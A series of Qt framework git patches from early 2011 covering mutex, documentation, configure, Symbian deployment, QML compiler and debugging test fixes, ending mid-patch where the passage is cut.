@@ -464,5 +465,42 @@ void tst_QMutex::tryLockRace() TryLockRaceThread::mutex.unlock(); } +static volatile int qtbug16115_trylock_counter; + +void tst_QMutex::qtbug16115_trylock() +{ + //Used to deadlock on unix + struct TrylockThread : QThread { + TrylockThread(QMutex &mut) : mut(mut) {} + QMutex &mut; + void run() { + for (int i = 0; i < 1000000; ++i) { + if (mut.tryLock(0)) { + Q_ASSERT((++qtbug16115_trylock_counter) == 1); + Q_ASSERT((--qtbug16115_trylock_counter) == 0); + mut.unlock(); + } + } + } + }; + QMutex mut; + TrylockThread t1(mut); + TrylockThread t2(mut); + TrylockThread t3(mut); + t1.start(); + t2.start(); + t3.start(); + + for (int i = 0; i < 1000000; ++i) { + mut.lock(); + Q_ASSERT((++qtbug16115_trylock_counter) == 1); + Q_ASSERT((--qtbug16115_trylock_counter) == 0); + mut.unlock(); + } + t1.wait(); + t2.wait(); + t3.wait(); +} + QTEST_MAIN(tst_QMutex) #include "tst_qmutex.moc" -- cgit v0.12 From a915e0cd275c171b838ccf7105b4463fbc1042e0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 2 Feb 2011 14:57:53 +0100 Subject: Doc: Renamed an image to ensure that it does not clash with another. Task-number: QTBUG-17120 --- doc/src/images/combobox.png | Bin 5022 -> 0 bytes doc/src/images/modelview-combobox.png | Bin 0 -> 5022 bytes 2 files changed, 0 insertions(+), 0 deletions(-) delete mode 100755 doc/src/images/combobox.png create mode 100755 doc/src/images/modelview-combobox.png diff --git a/doc/src/images/combobox.png b/doc/src/images/combobox.png deleted file mode 100755 index d172b41..0000000 Binary files a/doc/src/images/combobox.png and /dev/null differ diff --git a/doc/src/images/modelview-combobox.png b/doc/src/images/modelview-combobox.png new file mode 100755 index 0000000..d172b41 Binary files /dev/null and b/doc/src/images/modelview-combobox.png differ -- cgit v0.12 From 4f63245be8494967bc0ecd711a705b9dc5c30960 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 2 Feb 2011 14:58:56 +0100 Subject: Fixed a bug that caused marked up inline text to be truncated. --- tools/qdoc3/cppcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 9ad4d90..1b1e8f2 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -1085,7 +1085,7 @@ QString CppCodeMarker::addMarkUp(const QString &in, } QString text; - if (tag.isEmpty() && i == code.length()) + if ((tag.isEmpty() || second == 1) && i == code.length()) text = code.mid(second - 1, i - second + 1); else text = code.mid(second - 1, i - second); -- cgit v0.12 From cf2f23225414893a7b061fadbde4739165f0c554 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Wed, 2 Feb 2011 15:58:14 +0200 Subject: Fix qt.sis platform dependencies for Symbian^3 builds. Symbian^3 build of qt.sis is not compatible with pre-Symbian^3 devices, so remove the platform dependencies to said devices. Task-number: QTBUG-17150 Reviewed-by: Janne Koskinen --- src/s60installs/s60installs.pro | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/src/s60installs/s60installs.pro b/src/s60installs/s60installs.pro index 3b705ad..5c89338 100644 --- a/src/s60installs/s60installs.pro +++ b/src/s60installs/s60installs.pro @@ -77,13 +77,19 @@ symbian: { "ENDIF" \ " \"$$bearerStubZ\" - \"c:$$replace(QT_PLUGINS_BASE_DIR,/,\\)\\bearer\\qsymbianbearer$${QT_LIBINFIX}.qtplugin\" } else { + # Restrict deployment to Symbian3 and later platforms + default_deployment.pkg_prerules -= pkg_platform_dependencies + platform_dependency_rules.pkg_prerules = \ + "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \ + "[0x20032DE7],0,0,0,{\"S60ProductID\"}" + # No need to deploy plugins for older platform versions when building on Symbian3 or later qts60plugindeployment = \ " \"$$pluginLocations/qts60plugin_5_0$${QT_LIBINFIX}.dll\" - \"c:\\sys\\bin\\qts60plugin_5_0$${QT_LIBINFIX}.dll\"" bearer_plugin.sources = $$QT_BUILD_TREE/plugins/bearer/qsymbianbearer$${QT_LIBINFIX}.dll bearer_plugin.path = c:$$QT_PLUGINS_BASE_DIR/bearer - DEPLOYMENT += bearer_plugin + DEPLOYMENT += bearer_plugin platform_dependency_rules } qtlibraries.pkg_postrules += qts60plugindeployment @@ -183,10 +189,6 @@ symbian: { contains(QT_CONFIG, openvg) { qtlibraries.sources += $$QMAKE_LIBDIR_QT/QtOpenVG$${QT_LIBINFIX}.dll graphicssystems_plugins.sources += $$QT_BUILD_TREE/plugins/graphicssystems/qvggraphicssystem$${QT_LIBINFIX}.dll - # OpenVG requires Symbian^3 or later - pkg_platform_dependencies = \ - "[0x20022E6D],0,0,0,{\"S60ProductID\"}" \ - "[0x20032DE7],0,0,0,{\"S60ProductID\"}" } contains(QT_CONFIG, opengl) { -- cgit v0.12 From bb6d0f75d4a5d3dadb5e0134aa0270bcab61f205 Mon Sep 17 00:00:00 2001 From: kranthi Date: Wed, 2 Feb 2011 16:57:45 +0200 Subject: Fix for QTBUG-17035 Reviewed-by: Aaron McCarthy Task-number: QTBUG-17035 --- src/plugins/bearer/icd/qnetworksession_impl.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/plugins/bearer/icd/qnetworksession_impl.cpp b/src/plugins/bearer/icd/qnetworksession_impl.cpp index 6d578d3..af5d85e 100644 --- a/src/plugins/bearer/icd/qnetworksession_impl.cpp +++ b/src/plugins/bearer/icd/qnetworksession_impl.cpp @@ -125,9 +125,6 @@ static QString get_network_interface(); void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_connection_state) { - if ((publicConfig.type() == QNetworkConfiguration::UserChoice) && opened) { - updateIdentifier(iapid); - } if (((publicConfig.type() == QNetworkConfiguration::UserChoice) && (activeConfig.identifier() == iapid)) || @@ -149,6 +146,9 @@ void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_ break; } } + if (publicConfig.type() == QNetworkConfiguration::UserChoice) { + updateIdentifier(iapid); + } } void QNetworkSessionPrivateImpl::cleanupSession(void) -- cgit v0.12 From 871d80f4a02a645a79c87fd0b02374e950e47aa3 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 2 Feb 2011 17:05:36 +0100 Subject: Doc: Fixed a reference to the wrong image. Task-number: QTBUG-17120 --- doc/src/tutorials/modelview.qdoc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc index 88cda72..679d2a9 100644 --- a/doc/src/tutorials/modelview.qdoc +++ b/doc/src/tutorials/modelview.qdoc @@ -104,7 +104,7 @@ array of the data elements that the user can change. The table widget can be integrated into a program flow by reading and writing the data elements that the table widget provides. - + This method is very intuitive and useful in many applications, but displaying and editing a database table with a standard table widget can be problematic. Two copies of the data have to be coordinated: one outside the @@ -156,7 +156,7 @@ \o \o \l QColumnView shows a tree as a hierarchy of lists \row - \o \inlineimage combobox.png + \o \inlineimage modelview-combobox.png \o {2, 1} \l QComboBox can work as both a view class and also as a traditional widget \endtable -- cgit v0.12 From a6167267d302b97b94fd350df4b27dc7c9a20ef4 Mon Sep 17 00:00:00 2001 From: Bernhard Rosenkraenzer Date: Thu, 27 Jan 2011 13:48:13 +0100 Subject: Allow the user to select imageformats to be built as plugin vs internal This adds what is already there for different plugin types to imageformats plugins -- allowing the user to configure which image formats will be built into Qt and which will be built as plugins. Merge-request: 1028 Reviewed-by: Oswald Buddenhagen --- configure | 24 +++++++++++++++++++++++- tools/configure/configureapp.cpp | 12 ++++++++++++ 2 files changed, 35 insertions(+), 1 deletion(-) diff --git a/configure b/configure index b11d82d..b60da9e 100755 --- a/configure +++ b/configure @@ -934,6 +934,16 @@ if [ -d "$relpath/src/plugins/gfxdrivers" ]; then CFG_GFX_OFF="$CFG_GFX_AVAILABLE" # assume all off fi +CFG_IMAGEFORMAT_PLUGIN_AVAILABLE= +if [ -d "$relpath/src/plugins/imageformats" ]; then + for a in "$relpath/src/plugins/imageformats/"*; do + if [ -d "$a" ]; then + base_a=`basename "$a"` + CFG_IMAGEFORMAT_PLUGIN_AVAILABLE="${CFG_IMAGEFORMAT_PLUGIN_AVAILABLE} ${base_a}" + fi + done +fi + #------------------------------------------------------------------------------- # Set Default NaCl options #------------------------------------------------------------------------------- @@ -2140,7 +2150,7 @@ while [ "$#" -gt 0 ]; do UNKNOWN_OPT=yes fi ;; - sql-*|gfx-*|decoration-*|kbd-*|mouse-*) + sql-*|gfx-*|decoration-*|kbd-*|mouse-*|imageformat-*) # if Qt style options were used, $VAL can be "no", "qt", or "plugin" # if autoconf style options were used, $VAL can be "yes" or "no" [ "$VAL" = "yes" ] && VAL=qt @@ -2182,6 +2192,13 @@ while [ "$#" -gt 0 ]; do avail="$CFG_MOUSE_PLUGIN_AVAILABLE" fi ;; + imageformat) + avail="$CFG_IMAGEFORMAT_PLUGIN_AVAILABLE" + if [ "$OPT" != "plugin" ]; then + # png is always built in + avail="$avail png" + fi + ;; *) avail="" echo "BUG: Unhandled type $VAR used in $CURRENT_OPT" @@ -2202,6 +2219,11 @@ while [ "$#" -gt 0 ]; do # set the CFG_SQL_driver eval "CFG_SQL_$VAL=\$OPT" continue + elif [ "$VAR" = "imageformat" ]; then + [ "$OPT" = "qt" ] && OPT=yes + VAL="`echo $VAL |tr a-z A-Z`" + eval "CFG_$VAL=$OPT" + continue fi if [ "$OPT" = "plugin" ] || [ "$OPT" = "qt" ]; then diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 64fc6a9..6b87c8e 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -437,6 +437,7 @@ void Configure::parseCmdLine() { int argCount = configCmdLine.size(); int i = 0; + const QStringList imageFormats = QStringList() << "gif" << "png" << "mng" << "jpeg" << "tiff"; #if !defined(EVAL) if (argCount < 1) // skip rest if no arguments @@ -829,6 +830,17 @@ void Configure::parseCmdLine() dictionary[ "SQL_IBASE" ] = "plugin"; else if (configCmdLine.at(i) == "-no-sql-ibase") dictionary[ "SQL_IBASE" ] = "no"; + + // Image formats -------------------------------------------- + else if (configCmdLine.at(i).startsWith("-qt-imageformat-") && + imageFormats.contains(configCmdLine.at(i).section('-', 3))) + dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "yes"; + else if (configCmdLine.at(i).startsWith("-plugin-imageformat-") && + imageFormats.contains(configCmdLine.at(i).section('-', 3))) + dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "plugin"; + else if (configCmdLine.at(i).startsWith("-no-imageformat-") && + imageFormats.contains(configCmdLine.at(i).section('-', 3))) + dictionary[ configCmdLine.at(i).section('-', 3).toUpper() ] = "no"; #endif // IDE project generation ----------------------------------- else if (configCmdLine.at(i) == "-no-dsp") -- cgit v0.12 From 1d9a0a2192bb9a2f2cff97fba8a7ee5668f8ae56 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Thu, 27 Jan 2011 15:30:27 +0100 Subject: fix windows configure compilation after lighthouse merge --- tools/configure/configure.pro | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tools/configure/configure.pro b/tools/configure/configure.pro index 608d876..1245646 100644 --- a/tools/configure/configure.pro +++ b/tools/configure/configure.pro @@ -65,6 +65,7 @@ HEADERS = configureapp.h environment.h tools.h\ $$QT_SOURCE_TREE/src/corelib/tools/qstringlist.h \ $$QT_SOURCE_TREE/src/corelib/tools/qstringmatcher.h \ $$QT_SOURCE_TREE/src/corelib/tools/qunicodetables_p.h \ + $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror_p.h \ $$QT_SOURCE_TREE/src/corelib/xml/qxmlstream.h \ $$QT_SOURCE_TREE/src/corelib/xml/qxmlutils_p.h \ $$QT_SOURCE_TREE/tools/shared/symbian/epocroot_p.h \ @@ -111,6 +112,7 @@ SOURCES = main.cpp configureapp.cpp environment.cpp tools.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qunicodetables.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qvsnprintf.cpp \ $$QT_SOURCE_TREE/src/corelib/kernel/qvariant.cpp \ + $$QT_SOURCE_TREE/src/corelib/kernel/qsystemerror.cpp \ $$QT_SOURCE_TREE/src/corelib/io/qurl.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qline.cpp \ $$QT_SOURCE_TREE/src/corelib/tools/qsize.cpp \ -- cgit v0.12 From 210726453ff3ca0f16f036683e17097e1b62d458 Mon Sep 17 00:00:00 2001 From: "Yury G. Kudryashov" Date: Wed, 2 Feb 2011 17:16:15 +0100 Subject: Load modules from QMAKEPATH With this commit one can install qt_pkg.pri to $someprefix/mkspecs/modules and export QMAKEPATH=$someprefix. Merge-request: 2559 Reviewed-by: Oswald Buddenhagen --- mkspecs/features/qt_config.prf | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/mkspecs/features/qt_config.prf b/mkspecs/features/qt_config.prf index 19e01a1..de1cac4 100644 --- a/mkspecs/features/qt_config.prf +++ b/mkspecs/features/qt_config.prf @@ -11,7 +11,11 @@ isEmpty(QMAKE_QT_CONFIG)|!exists($$QMAKE_QT_CONFIG) { debug(1, "Cannot load qconfig.pri!") } else { debug(1, "Loaded .qconfig.pri from ($$QMAKE_QT_CONFIG)") - for(mod, $$list($$files($$dirname(QMAKE_QT_CONFIG)/modules/qt_*.pri))):include($$mod) + for(dir, $$list($$unique($$list($$dirname(QMAKE_QT_CONFIG) \ + $$split($$list($$[QMAKE_MKSPECS]), $$DIRLIST_SEPARATOR))))) { + debug(1, "Loading modules from $${dir}") + for(mod, $$list($$files($$dir/modules/qt_*.pri))):include($$mod) + } } load(qt_functions) -- cgit v0.12 From 1ee195424a5f1430b08929c79f7f5d118a814212 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 3 Feb 2011 11:24:30 +1000 Subject: Correct assert --- src/declarative/qml/qdeclarativeengine_p.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 1cc9dc5..88b4e80 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -374,9 +374,8 @@ The returned cache is not referenced, so if it is to be stored, call addref(). QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error) { Q_ASSERT(type); - Q_ASSERT(minorVersion >= 0); - if (!type->containsRevisionedAttributes()) + if (minorVersion == -1 || !type->containsRevisionedAttributes()) return cache(type->metaObject()); QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion)); -- cgit v0.12 From 20af4d6777f827eb347ee6c167f67cc2d5dad0a5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 3 Feb 2011 13:08:01 +1000 Subject: On windows xp using a higher port makes the declarativedebug* tests work I know not why... Reviewed-by: Aaron Kennedy --- .../qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp | 6 +++--- .../qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp index e3f0349..c182893 100644 --- a/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp +++ b/tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp @@ -76,7 +76,7 @@ void tst_QDeclarativeDebugClient::initTestCase() QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!"); QDeclarativeDebugHelper::enableDebugging(); - QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3770..."); + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13770..."); new QDeclarativeEngine(this); m_conn = new QDeclarativeDebugConnection(this); @@ -84,7 +84,7 @@ void tst_QDeclarativeDebugClient::initTestCase() QDeclarativeDebugTestClient client("tst_QDeclarativeDebugClient::handshake()", m_conn); QDeclarativeDebugTestService service("tst_QDeclarativeDebugClient::handshake()"); - m_conn->connectToHost("127.0.0.1", 3770); + m_conn->connectToHost("127.0.0.1", 13770); QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established"); bool ok = m_conn->waitForConnected(); @@ -149,7 +149,7 @@ int main(int argc, char *argv[]) char **_argv = new char*[_argc]; for (int i = 0; i < argc; ++i) _argv[i] = argv[i]; - _argv[_argc - 1] = "-qmljsdebugger=port:3770"; + _argv[_argc - 1] = "-qmljsdebugger=port:13770"; QApplication app(_argc, _argv); tst_QDeclarativeDebugClient tc; diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp index a7e5f20..0911a83 100644 --- a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp +++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp @@ -79,11 +79,11 @@ void tst_QDeclarativeDebugService::initTestCase() QTest::ignoreMessage(QtWarningMsg, "Qml debugging is enabled. Only use this in a safe environment!"); QDeclarativeDebugHelper::enableDebugging(); - QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 3769..."); + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Waiting for connection on port 13769..."); new QDeclarativeEngine(this); m_conn = new QDeclarativeDebugConnection(this); - m_conn->connectToHost("127.0.0.1", 3769); + m_conn->connectToHost("127.0.0.1", 13769); QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugServer: Connection established"); bool ok = m_conn->waitForConnected(); @@ -193,7 +193,7 @@ int main(int argc, char *argv[]) char **_argv = new char*[_argc]; for (int i = 0; i < argc; ++i) _argv[i] = argv[i]; - _argv[_argc - 1] = "-qmljsdebugger=port:3769"; + _argv[_argc - 1] = "-qmljsdebugger=port:13769"; QApplication app(_argc, _argv); tst_QDeclarativeDebugService tc; -- cgit v0.12 From 663f836f58e6588a7f99849d52f8f7e6c9c81bb7 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 3 Feb 2011 14:21:21 +1000 Subject: Correct error message Task-number: QTBUG-17091 --- src/declarative/qml/qdeclarativecompiler.cpp | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index a0236c0..0554897 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1354,7 +1354,11 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl Q_ASSERT(obj->type != -1); const QList &resolvedTypes = unit->resolvedTypes(); const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type); - COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + if (type.type) { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + } else { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name))); + } } // If the "on" name doesn't resolve into a signal, try it as a @@ -1471,7 +1475,11 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop, if (prop->index == -1 && notInRevision) { const QList &resolvedTypes = unit->resolvedTypes(); const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type); - COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + if (type.type) { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion)); + } else { + COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name))); + } } if (prop->index != -1) { -- cgit v0.12 From d87e2627cbc3f818e23c9c80b03cc665e5f3d444 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Thu, 3 Feb 2011 14:59:56 +1000 Subject: Don't accept input methods when a TextEdit or TextInput is read only. Neither would open a software input panel or allow text entry while read only, but on Symbian at least the text input mode indicator was still displayed giving the appearance of being able to enter text. Task-number: QT-4497 Reviewed-by: Damian Jansen --- src/declarative/graphicsitems/qdeclarativetextedit.cpp | 1 + src/declarative/graphicsitems/qdeclarativetextinput.cpp | 1 + .../qdeclarativetextedit/tst_qdeclarativetextedit.cpp | 10 ++++++++++ .../qdeclarativetextinput/tst_qdeclarativetextinput.cpp | 10 ++++++++++ 4 files changed, 22 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index f63e4cb..17354eb 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1023,6 +1023,7 @@ void QDeclarativeTextEdit::setReadOnly(bool r) if (r == isReadOnly()) return; + setFlag(QGraphicsItem::ItemAcceptsInputMethod, !r); Qt::TextInteractionFlags flags = Qt::LinksAccessibleByMouse; if (r) { diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp index 012d408..57e60ac 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp @@ -377,6 +377,7 @@ void QDeclarativeTextInput::setReadOnly(bool ro) if (d->control->isReadOnly() == ro) return; + setFlag(QGraphicsItem::ItemAcceptsInputMethod, !ro); d->control->setReadOnly(ro); emit readOnlyChanged(ro); diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index b82aca8..7d5101c 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -1676,6 +1676,16 @@ void tst_qdeclarativetextedit::openInputPanelOnFocus() QApplication::processEvents(); QVERIFY(view.inputContext() == 0); QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); + + // input method should not be enabled + // if TextEdit is read only. + edit.setReadOnly(true); + ic.openInputPanelReceived = false; + edit.setFocus(true); + QApplication::processEvents(); + QCOMPARE(ic.openInputPanelReceived, false); + QVERIFY(view.inputContext() == 0); + QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); } void tst_qdeclarativetextedit::geometrySignals() diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp index 675367c..42a0659 100644 --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp @@ -1605,6 +1605,16 @@ void tst_qdeclarativetextinput::openInputPanelOnFocus() QApplication::processEvents(); QVERIFY(view.inputContext() == 0); QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); + + // input method should not be enabled + // if TextEdit is read only. + input.setReadOnly(true); + ic.openInputPanelReceived = false; + input.setFocus(true); + QApplication::processEvents(); + QCOMPARE(ic.openInputPanelReceived, false); + QVERIFY(view.inputContext() == 0); + QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled)); } class MyTextInput : public QDeclarativeTextInput -- cgit v0.12 From 8611cf0ba0dbd0ddd742a02e1c60669e83cd1710 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 3 Feb 2011 17:15:36 +1000 Subject: Allow unknown types to be passed opaquely through signals Task-number: QTBUG-16683 --- src/declarative/qml/qdeclarativeboundsignal.cpp | 21 ++++-- src/declarative/qml/qdeclarativemetatype.cpp | 87 ++++++++++++++++++++++ src/declarative/qml/qdeclarativemetatype_p.h | 1 + .../data/signalWithUnknownTypes.qml | 5 ++ .../qdeclarativeecmascript/testtypes.cpp | 2 + .../declarative/qdeclarativeecmascript/testtypes.h | 9 +++ .../tst_qdeclarativeecmascript.cpp | 21 ++++++ 7 files changed, 140 insertions(+), 6 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp index d5c9bfc..28dfea9 100644 --- a/src/declarative/qml/qdeclarativeboundsignal.cpp +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp @@ -197,13 +197,12 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a) } QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMetaMethod &method, - QObject *parent) + QObject *parent) : QObject(parent), types(0), values(0) { MetaObject *mo = new MetaObject(this); // ### Optimize! - // ### Ensure only supported types are allowed, otherwise it might crash QMetaObjectBuilder mob; mob.setSuperClass(&QDeclarativeBoundSignalParameters::staticMetaObject); mob.setClassName("QDeclarativeBoundSignalParameters"); @@ -226,9 +225,15 @@ QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMeta QMetaPropertyBuilder prop = mob.addProperty(name, "QObject*"); prop.setWritable(false); } else { - types[ii] = t; - QMetaPropertyBuilder prop = mob.addProperty(name, type); - prop.setWritable(false); + if (QDeclarativeMetaType::canCopy(t)) { + types[ii] = t; + QMetaPropertyBuilder prop = mob.addProperty(name, type); + prop.setWritable(false); + } else { + types[ii] = 0x80000000 | t; + QMetaPropertyBuilder prop = mob.addProperty(name, "QVariant"); + prop.setWritable(false); + } } } myMetaObject = mob.toMetaObject(); @@ -259,7 +264,11 @@ int QDeclarativeBoundSignalParameters::metaCall(QMetaObject::Call c, int id, voi return -1; if (c == QMetaObject::ReadProperty && id >= 1) { - QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]); + if (types[id - 1] & 0x80000000) { + *((QVariant *)a[0]) = QVariant(types[id - 1] & 0x7FFFFFFF, values[id]); + } else { + QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]); + } return -1; } else { return qt_metacall(c, id, a); diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 4867cc5..bf1f699 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -1015,6 +1015,93 @@ QT_END_NAMESPACE Q_DECLARE_METATYPE(QScriptValue); QT_BEGIN_NAMESPACE + +bool QDeclarativeMetaType::canCopy(int type) +{ + switch(type) { + case QMetaType::VoidStar: + case QMetaType::QObjectStar: + case QMetaType::QWidgetStar: + case QMetaType::Long: + case QMetaType::Int: + case QMetaType::Short: + case QMetaType::Char: + case QMetaType::ULong: + case QMetaType::UInt: + case QMetaType::LongLong: + case QMetaType::ULongLong: + case QMetaType::UShort: + case QMetaType::UChar: + case QMetaType::Bool: + case QMetaType::Float: + case QMetaType::Double: + case QMetaType::QChar: + case QMetaType::QVariantMap: + case QMetaType::QVariantHash: + case QMetaType::QVariantList: + case QMetaType::QByteArray: + case QMetaType::QString: + case QMetaType::QStringList: + case QMetaType::QBitArray: + case QMetaType::QDate: + case QMetaType::QTime: + case QMetaType::QDateTime: + case QMetaType::QUrl: + case QMetaType::QLocale: + case QMetaType::QRect: + case QMetaType::QRectF: + case QMetaType::QSize: + case QMetaType::QSizeF: + case QMetaType::QLine: + case QMetaType::QLineF: + case QMetaType::QPoint: + case QMetaType::QPointF: + case QMetaType::QVector3D: +#ifndef QT_NO_REGEXP + case QMetaType::QRegExp: +#endif + case QMetaType::Void: +#ifdef QT3_SUPPORT + case QMetaType::QColorGroup: +#endif + case QMetaType::QFont: + case QMetaType::QPixmap: + case QMetaType::QBrush: + case QMetaType::QColor: + case QMetaType::QPalette: + case QMetaType::QIcon: + case QMetaType::QImage: + case QMetaType::QPolygon: + case QMetaType::QRegion: + case QMetaType::QBitmap: +#ifndef QT_NO_CURSOR + case QMetaType::QCursor: +#endif + case QMetaType::QSizePolicy: + case QMetaType::QKeySequence: + case QMetaType::QPen: + case QMetaType::QTextLength: + case QMetaType::QTextFormat: + case QMetaType::QMatrix: + case QMetaType::QTransform: + case QMetaType::QMatrix4x4: + case QMetaType::QVector2D: + case QMetaType::QVector4D: + case QMetaType::QQuaternion: + return true; + + default: + if (type == qMetaTypeId() || + type == qMetaTypeId() || + typeCategory(type) != Unknown) { + return true; + } + break; + } + + return false; +} + /*! Copies \a copy into \a data, assuming they both are of type \a type. If \a 